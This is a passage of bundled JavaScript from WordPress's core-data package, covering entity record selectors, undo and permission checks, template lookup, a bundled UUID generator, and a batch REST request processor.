exist. const queriedState = state.entities.records?.[kind]?.[name]?.queriedData; if (!queriedState) { return null; } return getQueriedItems(queriedState, query); }; /** * Returns the Entity's total available records for a given query (ignoring pagination). * * @param state State tree * @param kind Entity kind. * @param name Entity name. * @param query Optional terms query. If requesting specific * fields, fields must always include the ID. For valid query parameters see the [Reference](https://developer.wordpress.org/rest-api/reference/) in the REST API Handbook and select the entity kind. Then see the arguments available for "List [Entity kind]s". * * @return number | null. */ const getEntityRecordsTotalItems = (state, kind, name, query) => { // Queried data state is prepopulated for all known entities. If this is not // assigned for the given parameters, then it is known to not exist. const queriedState = state.entities.records?.[kind]?.[name]?.queriedData; if (!queriedState) { return null; } return getQueriedTotalItems(queriedState, query); }; /** * Returns the number of available pages for the given query. * * @param state State tree * @param kind Entity kind. * @param name Entity name. * @param query Optional terms query. If requesting specific * fields, fields must always include the ID. For valid query parameters see the [Reference](https://developer.wordpress.org/rest-api/reference/) in the REST API Handbook and select the entity kind. Then see the arguments available for "List [Entity kind]s". * * @return number | null. */ const getEntityRecordsTotalPages = (state, kind, name, query) => { // Queried data state is prepopulated for all known entities. If this is not // assigned for the given parameters, then it is known to not exist. const queriedState = state.entities.records?.[kind]?.[name]?.queriedData; if (!queriedState) { return null; } if (query.per_page === -1) { return 1; } const totalItems = getQueriedTotalItems(queriedState, query); if (!totalItems) { return totalItems; } // If `per_page` is not set and the query relies on the defaults of the // REST endpoint, get the info from query's meta. if (!query.per_page) { return getQueriedTotalPages(queriedState, query); } return Math.ceil(totalItems / query.per_page); }; /** * Returns the list of dirty entity records. * * @param state State tree. * * @return The list of updated records */ const __experimentalGetDirtyEntityRecords = (0,external_wp_data_namespaceObject.createSelector)(state => { const { entities: { records } } = state; const dirtyRecords = []; Object.keys(records).forEach(kind => { Object.keys(records[kind]).forEach(name => { const primaryKeys = Object.keys(records[kind][name].edits).filter(primaryKey => // The entity record must exist (not be deleted), // and it must have edits. getEntityRecord(state, kind, name, primaryKey) && hasEditsForEntityRecord(state, kind, name, primaryKey)); if (primaryKeys.length) { const entityConfig = getEntityConfig(state, kind, name); primaryKeys.forEach(primaryKey => { const entityRecord = getEditedEntityRecord(state, kind, name, primaryKey); dirtyRecords.push({ // We avoid using primaryKey because it's transformed into a string // when it's used as an object key. key: entityRecord ? entityRecord[entityConfig.key || DEFAULT_ENTITY_KEY] : undefined, title: entityConfig?.getTitle?.(entityRecord) || '', name, kind }); }); } }); }); return dirtyRecords; }, state => [state.entities.records]); /** * Returns the list of entities currently being saved. * * @param state State tree. * * @return The list of records being saved. */ const __experimentalGetEntitiesBeingSaved = (0,external_wp_data_namespaceObject.createSelector)(state => { const { entities: { records } } = state; const recordsBeingSaved = []; Object.keys(records).forEach(kind => { Object.keys(records[kind]).forEach(name => { const primaryKeys = Object.keys(records[kind][name].saving).filter(primaryKey => isSavingEntityRecord(state, kind, name, primaryKey)); if (primaryKeys.length) { const entityConfig = getEntityConfig(state, kind, name); primaryKeys.forEach(primaryKey => { const entityRecord = getEditedEntityRecord(state, kind, name, primaryKey); recordsBeingSaved.push({ // We avoid using primaryKey because it's transformed into a string // when it's used as an object key. key: entityRecord ? entityRecord[entityConfig.key || DEFAULT_ENTITY_KEY] : undefined, title: entityConfig?.getTitle?.(entityRecord) || '', name, kind }); }); } }); }); return recordsBeingSaved; }, state => [state.entities.records]); /** * Returns the specified entity record's edits. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param recordId Record ID. * * @return The entity record's edits. */ function getEntityRecordEdits(state, kind, name, recordId) { return state.entities.records?.[kind]?.[name]?.edits?.[recordId]; } /** * Returns the specified entity record's non transient edits. * * Transient edits don't create an undo level, and * are not considered for change detection. * They are defined in the entity's config. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param recordId Record ID. * * @return The entity record's non transient edits. */ const getEntityRecordNonTransientEdits = (0,external_wp_data_namespaceObject.createSelector)((state, kind, name, recordId) => { const { transientEdits } = getEntityConfig(state, kind, name) || {}; const edits = getEntityRecordEdits(state, kind, name, recordId) || {}; if (!transientEdits) { return edits; } return Object.keys(edits).reduce((acc, key) => { if (!transientEdits[key]) { acc[key] = edits[key]; } return acc; }, {}); }, (state, kind, name, recordId) => [state.entities.config, state.entities.records?.[kind]?.[name]?.edits?.[recordId]]); /** * Returns true if the specified entity record has edits, * and false otherwise. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param recordId Record ID. * * @return Whether the entity record has edits or not. */ function hasEditsForEntityRecord(state, kind, name, recordId) { return isSavingEntityRecord(state, kind, name, recordId) || Object.keys(getEntityRecordNonTransientEdits(state, kind, name, recordId)).length > 0; } /** * Returns the specified entity record, merged with its edits. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param recordId Record ID. * * @return The entity record, merged with its edits. */ const getEditedEntityRecord = (0,external_wp_data_namespaceObject.createSelector)((state, kind, name, recordId) => { const raw = getRawEntityRecord(state, kind, name, recordId); const edited = getEntityRecordEdits(state, kind, name, recordId); // Never return a non-falsy empty object. Unfortunately we can't return // undefined or null because we were previously returning an empty // object, so trying to read properties from the result would throw. // Using false here is a workaround to avoid breaking changes. if (!raw && !edited) { return false; } return { ...raw, ...edited }; }, (state, kind, name, recordId, query) => { var _query$context4; const context = (_query$context4 = query?.context) !== null && _query$context4 !== void 0 ? _query$context4 : 'default'; return [state.entities.config, state.entities.records?.[kind]?.[name]?.queriedData.items[context]?.[recordId], state.entities.records?.[kind]?.[name]?.queriedData.itemIsComplete[context]?.[recordId], state.entities.records?.[kind]?.[name]?.edits?.[recordId]]; }); /** * Returns true if the specified entity record is autosaving, and false otherwise. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param recordId Record ID. * * @return Whether the entity record is autosaving or not. */ function isAutosavingEntityRecord(state, kind, name, recordId) { var _state$entities$recor; const { pending, isAutosave } = (_state$entities$recor = state.entities.records?.[kind]?.[name]?.saving?.[recordId]) !== null && _state$entities$recor !== void 0 ? _state$entities$recor : {}; return Boolean(pending && isAutosave); } /** * Returns true if the specified entity record is saving, and false otherwise. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param recordId Record ID. * * @return Whether the entity record is saving or not. */ function isSavingEntityRecord(state, kind, name, recordId) { var _state$entities$recor2; return (_state$entities$recor2 = state.entities.records?.[kind]?.[name]?.saving?.[recordId]?.pending) !== null && _state$entities$recor2 !== void 0 ? _state$entities$recor2 : false; } /** * Returns true if the specified entity record is deleting, and false otherwise. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param recordId Record ID. * * @return Whether the entity record is deleting or not. */ function isDeletingEntityRecord(state, kind, name, recordId) { var _state$entities$recor3; return (_state$entities$recor3 = state.entities.records?.[kind]?.[name]?.deleting?.[recordId]?.pending) !== null && _state$entities$recor3 !== void 0 ? _state$entities$recor3 : false; } /** * Returns the specified entity record's last save error. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param recordId Record ID. * * @return The entity record's save error. */ function getLastEntitySaveError(state, kind, name, recordId) { return state.entities.records?.[kind]?.[name]?.saving?.[recordId]?.error; } /** * Returns the specified entity record's last delete error. * * @param state State tree. * @param kind Entity kind. * @param name Entity name. * @param recordId Record ID. * * @return The entity record's save error. */ function getLastEntityDeleteError(state, kind, name, recordId) { return state.entities.records?.[kind]?.[name]?.deleting?.[recordId]?.error; } /* eslint-disable @typescript-eslint/no-unused-vars */ /** * Returns the previous edit from the current undo offset * for the entity records edits history, if any. * * @deprecated since 6.3 * * @param state State tree. * * @return The edit. */ function getUndoEdit(state) { external_wp_deprecated_default()("select( 'core' ).getUndoEdit()", { since: '6.3' }); return undefined; } /* eslint-enable @typescript-eslint/no-unused-vars */ /* eslint-disable @typescript-eslint/no-unused-vars */ /** * Returns the next edit from the current undo offset * for the entity records edits history, if any. * * @deprecated since 6.3 * * @param state State tree. * * @return The edit. */ function getRedoEdit(state) { external_wp_deprecated_default()("select( 'core' ).getRedoEdit()", { since: '6.3' }); return undefined; } /* eslint-enable @typescript-eslint/no-unused-vars */ /** * Returns true if there is a previous edit from the current undo offset * for the entity records edits history, and false otherwise. * * @param state State tree. * * @return Whether there is a previous edit or not. */ function hasUndo(state) { return state.undoManager.hasUndo(); } /** * Returns true if there is a next edit from the current undo offset * for the entity records edits history, and false otherwise. * * @param state State tree. * * @return Whether there is a next edit or not. */ function hasRedo(state) { return state.undoManager.hasRedo(); } /** * Return the current theme. * * @param state Data state. * * @return The current theme. */ function getCurrentTheme(state) { if (!state.currentTheme) { return null; } return getEntityRecord(state, 'root', 'theme', state.currentTheme); } /** * Return the ID of the current global styles object. * * @param state Data state. * * @return The current global styles ID. */ function __experimentalGetCurrentGlobalStylesId(state) { return state.currentGlobalStylesId; } /** * Return theme supports data in the index. * * @param state Data state. * * @return Index data. */ function getThemeSupports(state) { var _getCurrentTheme$them; return (_getCurrentTheme$them = getCurrentTheme(state)?.theme_supports) !== null && _getCurrentTheme$them !== void 0 ? _getCurrentTheme$them : EMPTY_OBJECT; } /** * Returns the embed preview for the given URL. * * @param state Data state. * @param url Embedded URL. * * @return Undefined if the preview has not been fetched, otherwise, the preview fetched from the embed preview API. */ function getEmbedPreview(state, url) { return state.embedPreviews[url]; } /** * Determines if the returned preview is an oEmbed link fallback. * * WordPress can be configured to return a simple link to a URL if it is not embeddable. * We need to be able to determine if a URL is embeddable or not, based on what we * get back from the oEmbed preview API. * * @param state Data state. * @param url Embedded URL. * * @return Is the preview for the URL an oEmbed link fallback. */ function isPreviewEmbedFallback(state, url) { const preview = state.embedPreviews[url]; const oEmbedLinkCheck = '<a href="' + url + '">' + url + '</a>'; if (!preview) { return false; } return preview.html === oEmbedLinkCheck; } /** * Returns whether the current user can perform the given action on the given * REST resource. * * Calling this may trigger an OPTIONS request to the REST API via the * `canUser()` resolver. * * https://developer.wordpress.org/rest-api/reference/ * * @param state Data state. * @param action Action to check. One of: 'create', 'read', 'update', 'delete'. * @param resource Entity resource to check. Accepts entity object `{ kind: 'root', name: 'media', id: 1 }` * or REST base as a string - `media`. * @param id Optional ID of the rest resource to check. * * @return Whether or not the user can perform the action, * or `undefined` if the OPTIONS request is still being made. */ function canUser(state, action, resource, id) { const isEntity = typeof resource === 'object'; if (isEntity && (!resource.kind || !resource.name)) { return false; } const key = getUserPermissionCacheKey(action, resource, id); return state.userPermissions[key]; } /** * Returns whether the current user can edit the given entity. * * Calling this may trigger an OPTIONS request to the REST API via the * `canUser()` resolver. * * https://developer.wordpress.org/rest-api/reference/ * * @param state Data state. * @param kind Entity kind. * @param name Entity name. * @param recordId Record's id. * @return Whether or not the user can edit, * or `undefined` if the OPTIONS request is still being made. */ function canUserEditEntityRecord(state, kind, name, recordId) { external_wp_deprecated_default()(`wp.data.select( 'core' ).canUserEditEntityRecord()`, { since: '6.7', alternative: `wp.data.select( 'core' ).canUser( 'update', { kind, name, id } )` }); return canUser(state, 'update', { kind, name, id: recordId }); } /** * Returns the latest autosaves for the post. * * May return multiple autosaves since the backend stores one autosave per * author for each post. * * @param state State tree. * @param postType The type of the parent post. * @param postId The id of the parent post. * * @return An array of autosaves for the post, or undefined if there is none. */ function getAutosaves(state, postType, postId) { return state.autosaves[postId]; } /** * Returns the autosave for the post and author. * * @param state State tree. * @param postType The type of the parent post. * @param postId The id of the parent post. * @param authorId The id of the author. * * @return The autosave for the post and author. */ function getAutosave(state, postType, postId, authorId) { if (authorId === undefined) { return; } const autosaves = state.autosaves[postId]; return autosaves?.find(autosave => autosave.author === authorId); } /** * Returns true if the REST request for autosaves has completed. * * @param state State tree. * @param postType The type of the parent post. * @param postId The id of the parent post. * * @return True if the REST request was completed. False otherwise. */ const hasFetchedAutosaves = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, postType, postId) => { return select(STORE_NAME).hasFinishedResolution('getAutosaves', [postType, postId]); }); /** * Returns a new reference when edited values have changed. This is useful in * inferring where an edit has been made between states by comparison of the * return values using strict equality. * * @example * * ``` * const hasEditOccurred = ( * getReferenceByDistinctEdits( beforeState ) !== * getReferenceByDistinctEdits( afterState ) * ); * ``` * * @param state Editor state. * * @return A value whose reference will change only when an edit occurs. */ function getReferenceByDistinctEdits(state) { return state.editsReference; } /** * Retrieve the current theme's base global styles * * @param state Editor state. * * @return The Global Styles object. */ function __experimentalGetCurrentThemeBaseGlobalStyles(state) { const currentTheme = getCurrentTheme(state); if (!currentTheme) { return null; } return state.themeBaseGlobalStyles[currentTheme.stylesheet]; } /** * Return the ID of the current global styles object. * * @param state Data state. * * @return The current global styles ID. */ function __experimentalGetCurrentThemeGlobalStylesVariations(state) { const currentTheme = getCurrentTheme(state); if (!currentTheme) { return null; } return state.themeGlobalStyleVariations[currentTheme.stylesheet]; } /** * Retrieve the list of registered block patterns. * * @param state Data state. * * @return Block pattern list. */ function getBlockPatterns(state) { return state.blockPatterns; } /** * Retrieve the list of registered block pattern categories. * * @param state Data state. * * @return Block pattern category list. */ function getBlockPatternCategories(state) { return state.blockPatternCategories; } /** * Retrieve the registered user pattern categories. * * @param state Data state. * * @return User patterns category array. */ function getUserPatternCategories(state) { return state.userPatternCategories; } /** * Returns the revisions of the current global styles theme. * * @deprecated since WordPress 6.5.0. Callers should use `select( 'core' ).getRevisions( 'root', 'globalStyles', ${ recordKey } )` instead, where `recordKey` is the id of the global styles parent post. * * @param state Data state. * * @return The current global styles. */ function getCurrentThemeGlobalStylesRevisions(state) { external_wp_deprecated_default()("select( 'core' ).getCurrentThemeGlobalStylesRevisions()", { since: '6.5.0', alternative: "select( 'core' ).getRevisions( 'root', 'globalStyles', ${ recordKey } )" }); const currentGlobalStylesId = __experimentalGetCurrentGlobalStylesId(state); if (!currentGlobalStylesId) { return null; } return state.themeGlobalStyleRevisions[currentGlobalStylesId]; } /** * Returns the default template use to render a given query. * * @param state Data state. * @param query Query. * * @return The default template id for the given query. */ function getDefaultTemplateId(state, query) { return state.defaultTemplates[JSON.stringify(query)]; } /** * Returns an entity's revisions. * * @param state State tree * @param kind Entity kind. * @param name Entity name. * @param recordKey The key of the entity record whose revisions you want to fetch. * @param query Optional query. If requesting specific * fields, fields must always include the ID. For valid query parameters see revisions schema in [the REST API Handbook](https://developer.wordpress.org/rest-api/reference/). Then see the arguments available "Retrieve a [Entity kind]". * * @return Record. */ const getRevisions = (state, kind, name, recordKey, query) => { const queriedStateRevisions = state.entities.records?.[kind]?.[name]?.revisions?.[recordKey]; if (!queriedStateRevisions) { return null; } return getQueriedItems(queriedStateRevisions, query); }; /** * Returns a single, specific revision of a parent entity. * * @param state State tree * @param kind Entity kind. * @param name Entity name. * @param recordKey The key of the entity record whose revisions you want to fetch. * @param revisionKey The revision's key. * @param query Optional query. If requesting specific * fields, fields must always include the ID. For valid query parameters see revisions schema in [the REST API Handbook](https://developer.wordpress.org/rest-api/reference/). Then see the arguments available "Retrieve a [entity kind]". * * @return Record. */ const getRevision = (0,external_wp_data_namespaceObject.createSelector)((state, kind, name, recordKey, revisionKey, query) => { var _query$context5; const queriedState = state.entities.records?.[kind]?.[name]?.revisions?.[recordKey]; if (!queriedState) { return undefined; } const context = (_query$context5 = query?.context) !== null && _query$context5 !== void 0 ? _query$context5 : 'default'; if (query === undefined) { // If expecting a complete item, validate that completeness. if (!queriedState.itemIsComplete[context]?.[revisionKey]) { return undefined; } return queriedState.items[context][revisionKey]; } const item = queriedState.items[context]?.[revisionKey]; if (item && query._fields) { var _getNormalizedCommaSe2; const filteredItem = {}; const fields = (_getNormalizedCommaSe2 = get_normalized_comma_separable(query._fields)) !== null && _getNormalizedCommaSe2 !== void 0 ? _getNormalizedCommaSe2 : []; for (let f = 0; f < fields.length; f++) { const field = fields[f].split('.'); let value = item; field.forEach(fieldName => { value = value?.[fieldName]; }); setNestedValue(filteredItem, field, value); } return filteredItem; } return item; }, (state, kind, name, recordKey, revisionKey, query) => { var _query$context6; const context = (_query$context6 = query?.context) !== null && _query$context6 !== void 0 ? _query$context6 : 'default'; return [state.entities.records?.[kind]?.[name]?.revisions?.[recordKey]?.items?.[context]?.[revisionKey], state.entities.records?.[kind]?.[name]?.revisions?.[recordKey]?.itemIsComplete?.[context]?.[revisionKey]]; }); ;// external ["wp","privateApis"] const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"]; ;// ./node_modules/@wordpress/core-data/build-module/lock-unlock.js /** * WordPress dependencies */ const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/core-data'); ;// ./node_modules/@wordpress/core-data/build-module/private-selectors.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Returns the previous edit from the current undo offset * for the entity records edits history, if any. * * @param state State tree. * * @return The undo manager. */ function getUndoManager(state) { return state.undoManager; } /** * Retrieve the fallback Navigation. * * @param state Data state. * @return The ID for the fallback Navigation post. */ function getNavigationFallbackId(state) { return state.navigationFallbackId; } const getBlockPatternsForPostType = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)((state, postType) => select(STORE_NAME).getBlockPatterns().filter(({ postTypes }) => !postTypes || Array.isArray(postTypes) && postTypes.includes(postType)), () => [select(STORE_NAME).getBlockPatterns()])); /** * Returns the entity records permissions for the given entity record ids. */ const getEntityRecordsPermissions = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)((state, kind, name, ids) => { const normalizedIds = Array.isArray(ids) ? ids : [ids]; return normalizedIds.map(id => ({ delete: select(STORE_NAME).canUser('delete', { kind, name, id }), update: select(STORE_NAME).canUser('update', { kind, name, id }) })); }, state => [state.userPermissions])); /** * Returns the entity record permissions for the given entity record id. * * @param state Data state. * @param kind Entity kind. * @param name Entity name. * @param id Entity record id. * * @return The entity record permissions. */ function getEntityRecordPermissions(state, kind, name, id) { return getEntityRecordsPermissions(state, kind, name, id)[0]; } /** * Returns the registered post meta fields for a given post type. * * @param state Data state. * @param postType Post type. * * @return Registered post meta fields. */ function getRegisteredPostMeta(state, postType) { var _state$registeredPost; return (_state$registeredPost = state.registeredPostMeta?.[postType]) !== null && _state$registeredPost !== void 0 ? _state$registeredPost : {}; } function normalizePageId(value) { if (!value || !['number', 'string'].includes(typeof value)) { return null; } // We also need to check if it's not zero (`'0'`). if (Number(value) === 0) { return null; } return value.toString(); } const getHomePage = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(() => { const siteData = select(STORE_NAME).getEntityRecord('root', '__unstableBase'); if (!siteData) { return null; } const homepageId = siteData?.show_on_front === 'page' ? normalizePageId(siteData.page_on_front) : null; if (homepageId) { return { postType: 'page', postId: homepageId }; } const frontPageTemplateId = select(STORE_NAME).getDefaultTemplateId({ slug: 'front-page' }); return { postType: 'wp_template', postId: frontPageTemplateId }; }, state => [getEntityRecord(state, 'root', '__unstableBase'), getDefaultTemplateId(state, { slug: 'front-page' })])); const getPostsPageId = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => { const siteData = select(STORE_NAME).getEntityRecord('root', '__unstableBase'); return siteData?.show_on_front === 'page' ? normalizePageId(siteData.page_for_posts) : null; }); const getTemplateId = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, postType, postId) => { const homepage = unlock(select(STORE_NAME)).getHomePage(); if (!homepage) { return; } // For the front page, we always use the front page template if existing. if (postType === 'page' && postType === homepage?.postType && postId.toString() === homepage?.postId) { // The /lookup endpoint cannot currently handle a lookup // when a page is set as the front page, so specifically in // that case, we want to check if there is a front page // template, and instead of falling back to the home // template, we want to fall back to the page template. const templates = select(STORE_NAME).getEntityRecords('postType', 'wp_template', { per_page: -1 }); if (!templates) { return; } const id = templates.find(({ slug }) => slug === 'front-page')?.id; if (id) { return id; } // If no front page template is found, continue with the // logic below (fetching the page template). } const editedEntity = select(STORE_NAME).getEditedEntityRecord('postType', postType, postId); if (!editedEntity) { return; } const postsPageId = unlock(select(STORE_NAME)).getPostsPageId(); // Check if the current page is the posts page. if (postType === 'page' && postsPageId === postId.toString()) { return select(STORE_NAME).getDefaultTemplateId({ slug: 'home' }); } // First see if the post/page has an assigned template and fetch it. const currentTemplateSlug = editedEntity.template; if (currentTemplateSlug) { const currentTemplate = select(STORE_NAME).getEntityRecords('postType', 'wp_template', { per_page: -1 })?.find(({ slug }) => slug === currentTemplateSlug); if (currentTemplate) { return currentTemplate.id; } } // If no template is assigned, use the default template. let slugToCheck; // In `draft` status we might not have a slug available, so we use the `single` // post type templates slug(ex page, single-post, single-product etc..). // Pages do not need the `single` prefix in the slug to be prioritized // through template hierarchy. if (editedEntity.slug) { slugToCheck = postType === 'page' ? `${postType}-${editedEntity.slug}` : `single-${postType}-${editedEntity.slug}`; } else { slugToCheck = postType === 'page' ? 'page' : `single-${postType}`; } return select(STORE_NAME).getDefaultTemplateId({ slug: slugToCheck }); }); ;// ./node_modules/@wordpress/core-data/node_modules/uuid/dist/esm-browser/native.js const randomUUID = typeof crypto !== 'undefined' && crypto.randomUUID && crypto.randomUUID.bind(crypto); /* harmony default export */ const esm_browser_native = ({ randomUUID }); ;// ./node_modules/@wordpress/core-data/node_modules/uuid/dist/esm-browser/rng.js // Unique ID creation requires a high quality random # generator. In the browser we therefore // require the crypto API and do not support built-in fallback to lower quality random number // generators (like Math.random()). let getRandomValues; const rnds8 = new Uint8Array(16); function rng() { // lazy load so that environments that need to polyfill have a chance to do so if (!getRandomValues) { // getRandomValues needs to be invoked in a context where "this" is a Crypto implementation. getRandomValues = typeof crypto !== 'undefined' && crypto.getRandomValues && crypto.getRandomValues.bind(crypto); if (!getRandomValues) { throw new Error('crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported'); } } return getRandomValues(rnds8); } ;// ./node_modules/@wordpress/core-data/node_modules/uuid/dist/esm-browser/stringify.js /** * Convert array of 16 byte values to UUID string format of the form: * XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX */ const byteToHex = []; for (let i = 0; i < 256; ++i) { byteToHex.push((i + 0x100).toString(16).slice(1)); } function unsafeStringify(arr, offset = 0) { // Note: Be careful editing this code! It's been tuned for performance // and works in ways you may not expect. See https://github.com/uuidjs/uuid/pull/434 return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + '-' + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + '-' + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + '-' + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + '-' + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]]; } function stringify(arr, offset = 0) { const uuid = unsafeStringify(arr, offset); // Consistency check for valid UUID. If this throws, it's likely due to one // of the following: // - One or more input array values don't map to a hex octet (leading to // "undefined" in the uuid) // - Invalid input values for the RFC `version` or `variant` fields if (!validate(uuid)) { throw TypeError('Stringified UUID is invalid'); } return uuid; } /* harmony default export */ const esm_browser_stringify = ((/* unused pure expression or super */ null && (stringify))); ;// ./node_modules/@wordpress/core-data/node_modules/uuid/dist/esm-browser/v4.js function v4(options, buf, offset) { if (esm_browser_native.randomUUID && !buf && !options) { return esm_browser_native.randomUUID(); } options = options || {}; const rnds = options.random || (options.rng || rng)(); // Per 4.4, set bits for version and `clock_seq_hi_and_reserved` rnds[6] = rnds[6] & 0x0f | 0x40; rnds[8] = rnds[8] & 0x3f | 0x80; // Copy bytes to buffer, if provided if (buf) { offset = offset || 0; for (let i = 0; i < 16; ++i) { buf[offset + i] = rnds[i]; } return buf; } return unsafeStringify(rnds); } /* harmony default export */ const esm_browser_v4 = (v4); ;// ./node_modules/@wordpress/core-data/build-module/utils/get-nested-value.js /** * Helper util to return a value from a certain path of the object. * Path is specified as either: * - a string of properties, separated by dots, for example: "x.y". * - an array of properties, for example `[ 'x', 'y' ]`. * You can also specify a default value in case the result is nullish. * * @param {Object} object Input object. * @param {string|Array} path Path to the object property. * @param {*} defaultValue Default value if the value at the specified path is undefined. * @return {*} Value of the object property at the specified path. */ function getNestedValue(object, path, defaultValue) { if (!object || typeof object !== 'object' || typeof path !== 'string' && !Array.isArray(path)) { return object; } const normalizedPath = Array.isArray(path) ? path : path.split('.'); let value = object; normalizedPath.forEach(fieldName => { value = value?.[fieldName]; }); return value !== undefined ? value : defaultValue; } ;// ./node_modules/@wordpress/core-data/build-module/queried-data/actions.js /** * Returns an action object used in signalling that items have been received. * * @param {Array} items Items received. * @param {?Object} edits Optional edits to reset. * @param {?Object} meta Meta information about pagination. * * @return {Object} Action object. */ function receiveItems(items, edits, meta) { return { type: 'RECEIVE_ITEMS', items: Array.isArray(items) ? items : [items], persistedEdits: edits, meta }; } /** * Returns an action object used in signalling that entity records have been * deleted and they need to be removed from entities state. * * @param {string} kind Kind of the removed entities. * @param {string} name Name of the removed entities. * @param {Array|number|string} records Record IDs of the removed entities. * @param {boolean} invalidateCache Controls whether we want to invalidate the cache. * @return {Object} Action object. */ function removeItems(kind, name, records, invalidateCache = false) { return { type: 'REMOVE_ITEMS', itemIds: Array.isArray(records) ? records : [records], kind, name, invalidateCache }; } /** * Returns an action object used in signalling that queried data has been * received. * * @param {Array} items Queried items received. * @param {?Object} query Optional query object. * @param {?Object} edits Optional edits to reset. * @param {?Object} meta Meta information about pagination. * * @return {Object} Action object. */ function receiveQueriedItems(items, query = {}, edits, meta) { return { ...receiveItems(items, edits, meta), query }; } ;// ./node_modules/@wordpress/core-data/build-module/batch/default-processor.js /** * WordPress dependencies */ /** * Maximum number of requests to place in a single batch request. Obtained by * sending a preflight OPTIONS request to /batch/v1/. * * @type {number?} */ let maxItems = null; function chunk(arr, chunkSize) { const tmp = [...arr]; const cache = []; while (tmp.length) { cache.push(tmp.splice(0, chunkSize)); } return cache; } /** * Default batch processor. Sends its input requests to /batch/v1. * * @param {Array} requests List of API requests to perform at once. * * @return {Promise} Promise that resolves to a list of objects containing * either `output` (if that request was successful) or `error` * (if not ). */ async function defaultProcessor(requests) { if (maxItems === null) { const preflightResponse = await external_wp_apiFetch_default()({ path: '/batch/v1', method: 'OPTIONS' }); maxItems = preflightResponse.endpoints[0].args.requests.maxItems; } const results = []; // @ts-ignore We would have crashed or never gotten to this point if we hadn't received the maxItems count. for (const batchRequests of chunk(requests, maxItems)) { const batchResponse = await external_wp_apiFetch_default()({ path: '/batch/v1', method: 'POST', data: { validation: 'require-all-validate', requests: batchRequests.map(request => ({ path: request.path, body: request.data, // Rename 'data' to 'body'. method: request.method, headers: request.headers })) } }); let batchResults; if (batchResponse.failed) { batchResults = batchResponse.responses.map(response => ({ error: response?.body })); } else { batchResults = batchResponse.responses.map(response => { const result = {}; if (response.status >= 200 && response.status < 300) { result.output = response.body; } else { result.error = response.body; } return result; }); } results.push(...batchResults); } return results; } ;// ./node_modules/@wordpress/core-data/build-module/batch/create-batch.js /** * Internal dependencies */ /** * Creates a batch, which can be used to combine multiple API requests into one * API request using the WordPress batch processing API (/v1/batch). * * ``` * const batch = createBatch(); * const dunePromise = batch.add( { * path: '/v1/books', * method: 'POST', * data: { title: 'Dune' } * } ); * const lotrPromise = batch.add( { * path: '/v1/books', * method: 'POST', * data: { title: 'Lord of the Rings' } * } ); * const isSuccess = await batch.run(); // Sends one POST to /v1/batch. * if ( isSuccess ) { * console.log( * 'Saved two books:', * await dunePromise, * await lotrPromise * ); * } * ``` * * @param {Function} [processor] Processor function. Can be used to replace the * default functionality which is to send an API * request to /v1/batch. Is given an array of * inputs and must return a promise that * resolves to an array of objects containing * either `output` or `error`. */ function createBatch(processor = defaultProcessor) { let lastId = 0; /** @type {Array<{ input: any; resolve: ( value: any ) => void; reject: ( error: any ) => void }>} */ let queue = []; const pending = new ObservableSet(); return { /** * Adds an input to the batch and returns a promise that is resolved or * rejected when the input is processed by `batch.run()`. * * You may also pass a thunk which allows inputs to be added * asynchronously. * * ``` * // Both are allowed: * batch.add( { path: '/v1/books', ... } ); * batch.add( ( add ) => add( { path: '/v1/books', ... } ) ); * ``` * * If a thunk is passed, `batch.run()` will pause until either: * * - The thunk calls its `add` argument, or; * - The thunk returns a promise and that promise resolves, or; * - The thunk returns a non-promise. * * @param {any|Function} inputOrThunk Input to add or thunk to execute. * * @return {Promise|any} If given an input, returns a promise that * is resolved or rejected when the batch is * processed. If given a thunk, returns the return * value of that thunk. */ add(inputOrThunk) { const id = ++lastId; pending.add(id); const add = input => new Promise((resolve, reject) => { queue.push({ input, resolve, reject }); pending.delete(id); }); if (typeof inputOrThunk === 'function') { return Promise.resolve(inputOrThunk(add)).finally(() => { pending.delete(id); }); } return add(inputOrThunk); }, /** * Runs the batch. This calls `batchProcessor` and resolves or rejects * all promises returned by `add()`. * * @return {Promise<boolean>} A promise that resolves to a boolean that is true * if the processor returned no errors. */ async run() { if (pending.size) { await new Promise(resolve => { const unsubscribe = pending.subscribe(() => { if (!pending.size) { unsubscribe(); resolve(undefined); } }); }); } let results; try { results = await processor(queue.map(({ input }) => input)); if (results.length !== queue.length) { throw new Error('run: Array returned by processor must be same size as input array.'); } } catch (error) { for (const { reject } of queue) { reject(error); } throw error; } let isSuccess = true; results.forEach((result, key) => { const queueItem = queue[key]; if (result?.error) { queueItem?.reject(result.error); isSuccess = false; } else { var _result$output; queueItem?.resolve((_result$output = result?.output) !== null && _result$output !== void 0 ? _result$output : result); } }); queue = []; return isSuccess; } }; } class ObservableSet { constructor(...args) { this.set = new Set(...args); this.subscribers = new Set(); } get size() { return this.set.size; } add(value) { this.set.add(value); 